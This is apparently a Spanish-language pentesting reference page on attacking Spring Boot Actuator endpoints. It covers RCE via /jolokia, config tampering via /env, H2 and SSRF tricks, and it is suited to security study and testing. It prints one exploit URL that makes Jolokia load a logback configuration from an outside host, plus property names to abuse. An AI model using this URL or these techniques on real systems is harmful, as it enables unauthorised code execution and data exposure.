Spring Actuators
Bypass de Autenticación de Spring
Desde https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Explotando Actuadores de Spring Boot
Consulta la publicación original en [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Puntos Clave:
Los Actuadores de Spring Boot registran puntos finales como
/health
,/trace
,/beans
,/env
, etc. En las versiones 1 a 1.4, estos puntos finales son accesibles sin autenticación. A partir de la versión 1.5 en adelante, solo/health
y/info
no son sensibles por defecto, pero los desarrolladores a menudo deshabilitan esta seguridad.Ciertos puntos finales de Actuadores pueden exponer datos sensibles o permitir acciones dañinas:
/dump
,/trace
,/logfile
,/shutdown
,/mappings
,/env
,/actuator/env
,/restart
y/heapdump
.En Spring Boot 1.x, los actuadores se registran bajo la URL raíz, mientras que en 2.x, se encuentran bajo la ruta base
/actuator/
.
Técnicas de Explotación:
Ejecución Remota de Código a través de '/jolokia':
El punto final del actuador
/jolokia
expone la Biblioteca Jolokia, que permite el acceso HTTP a MBeans.La acción
reloadByURL
puede ser explotada para recargar configuraciones de registro desde una URL externa, lo que puede llevar a una XXE ciega o Ejecución Remota de Código a través de configuraciones XML manipuladas.URL de explotación de ejemplo:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
Modificación de Configuración a través de '/env':
Si están presentes las Bibliotecas de Spring Cloud, el punto final
/env
permite la modificación de propiedades ambientales.Las propiedades pueden ser manipuladas para explotar vulnerabilidades, como la vulnerabilidad de deserialización XStream en la URL del servicio Eureka.
Solicitud POST de explotación de ejemplo:
Otros Ajustes Útiles:
Propiedades como
spring.datasource.tomcat.validationQuery
,spring.datasource.tomcat.url
yspring.datasource.tomcat.max-active
pueden ser manipuladas para varios exploits, como la inyección SQL o la alteración de cadenas de conexión de bases de datos.
Información Adicional:
Se puede encontrar una lista completa de actuadores predeterminados aquí.
El punto final
/env
en Spring Boot 2.x utiliza formato JSON para la modificación de propiedades, pero el concepto general sigue siendo el mismo.
Temas Relacionados:
RCE de Env + H2:
Detalles sobre cómo explotar la combinación del punto final
/env
y la base de datos H2 se pueden encontrar aquí.
SSRF en Spring Boot a través de la Interpretación Incorrecta de Nombres de Ruta:
El manejo de parámetros de matriz (
;
) en nombres de ruta HTTP del framework Spring puede ser explotado para Forgery de Solicitudes del Lado del Servidor (SSRF).Solicitud de explotación de ejemplo:
Última actualización